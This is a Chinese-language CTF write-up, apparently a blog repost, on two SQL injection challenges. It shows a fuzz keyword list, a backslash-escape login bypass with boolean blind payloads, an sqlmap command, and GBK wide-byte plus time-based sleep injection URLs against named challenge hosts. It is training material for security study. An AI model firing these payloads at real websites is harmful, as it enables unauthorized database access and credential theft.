CTF例题合集(2)

SQL注入典型例题

http://121.36.208.140:23333

CTF例题合集(2)_第1张图片

1.首先测试闭合 发现回显停止hacking 说明存在字符上的注释和绕过问题,可以借助burp抓包查看

admin'
admin

CTF例题合集(2)_第2张图片

2.

CTF例题合集(2)_第3张图片

CTF例题合集(2)_第4张图片

这里是fuzz字典,里面有很多可能被注释掉的敏感字段内容

select    from   asci   substr   table   column   by   schema   where   extractvalue   exp   if   /   (   )   %   !   @
#   $   ^   &   *   -   _   +   =   '   "   ~   `   \   |   ,   .   ||   &&   order   updatexml   limit   And   Or
%23   %20    space
<
>
regex
group_concat
table_name
table_schema
column_name
database
imformation
union select
ascii(substr())
(select(group_concat(table_name))
from(information_schema.tables)where(table_schema=database())
(ascii(substr((select(group_concat(flaaag))from(flag)),%s,1))=%s)
where(table_schema=database())

这里可以获得所有敏感字符是否被过滤的情况。由于判断可以得知 字符长度比较短的是stop hacking ,所以1405的是被过滤掉的内容

CTF例题合集(2)_第5张图片

接下来通过目录爆破可以获得一些不为人知的目录

CTF例题合集(2)_第6张图片

扫描发现robots.txt  

CTF例题合集(2)_第7张图片

得到的提示是访问/hint.txt

CTF例题合集(2)_第8张图片

这是提示的sql语句 

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

由于刚刚的扫描中发现 \ 转义字符并没有被过滤掉

所以可以考虑输入用户名为 admin\  密码是 123456#

则语句可以理解成

select * from users where username='admin\' and password='123456#';

此时不难发现,admin右边的引号被转义成了普通的字符,所以admin左边的引号会和password右边的引号闭合

而#后面的内容都被注释掉了,所以此时的注入位置是123456

select * from users where username='admin and password=' 恶意代码 #';

而此时注意到等号也被过滤了,所以and 1=1这种没办法实现 但是可以考虑使用大于号和小于号和or

username=admin\&password=or 2>1#

CTF例题合集(2)_第9张图片

username=admin\&password=or 2<1#

CTF例题合集(2)_第10张图片

根据网页回显的特性不难发现,这符合布尔盲注的特点。

接下来可以一步步的手工去进行盲注,不过非常的耗费时间。

而这使用sqlmap也是比较难的

所以需要自行写脚本进行注入实现

CTF例题合集(2)_第11张图片

爆出密码为 OhyOuFOuNdit
账号为 admin

CTF例题合集(2)_第12张图片

PS:如果尝试使用sqlmap构造语句(POST型+盲注) 需要先burp抓包获得我们的注入内容

sqlmap -u http://121.36.208.140:23333/ --data "username=admin\&password=or *" --current-db --batch --threads 10 --technique B

没办法实现。可能由于sqlmap工具能力有限。这就需要自己后期的脚本开发和优化了

CTF例题合集(2)_第13张图片

宽字节注入&时间盲注例题

CTF例题合集(2)_第14张图片

chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' -- -   //here is the information
chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' order by 3 -- -    

//Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10
chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' order by 2 -- -

//here is the information
chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' union select 1,2 -- -

//here is the information

不难发现网页的回显结果非常单一,这可能是盲注注入类型 (布尔盲注)

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and length(database())=8 -- -   // 空
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and length(database())=1 -- -  //多次尝试最后仍然为空

接下来考虑时间盲注

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=2,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=4,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=8,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=14,sleep(5),1) -- -  //停顿5s
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and if(length(database())>=15,sleep(5),1) -- -  //here is the information

说明当前数据库的名字长度是14

你可能感兴趣的:(靶场与CTF系列,数据库,sql,java,web安全)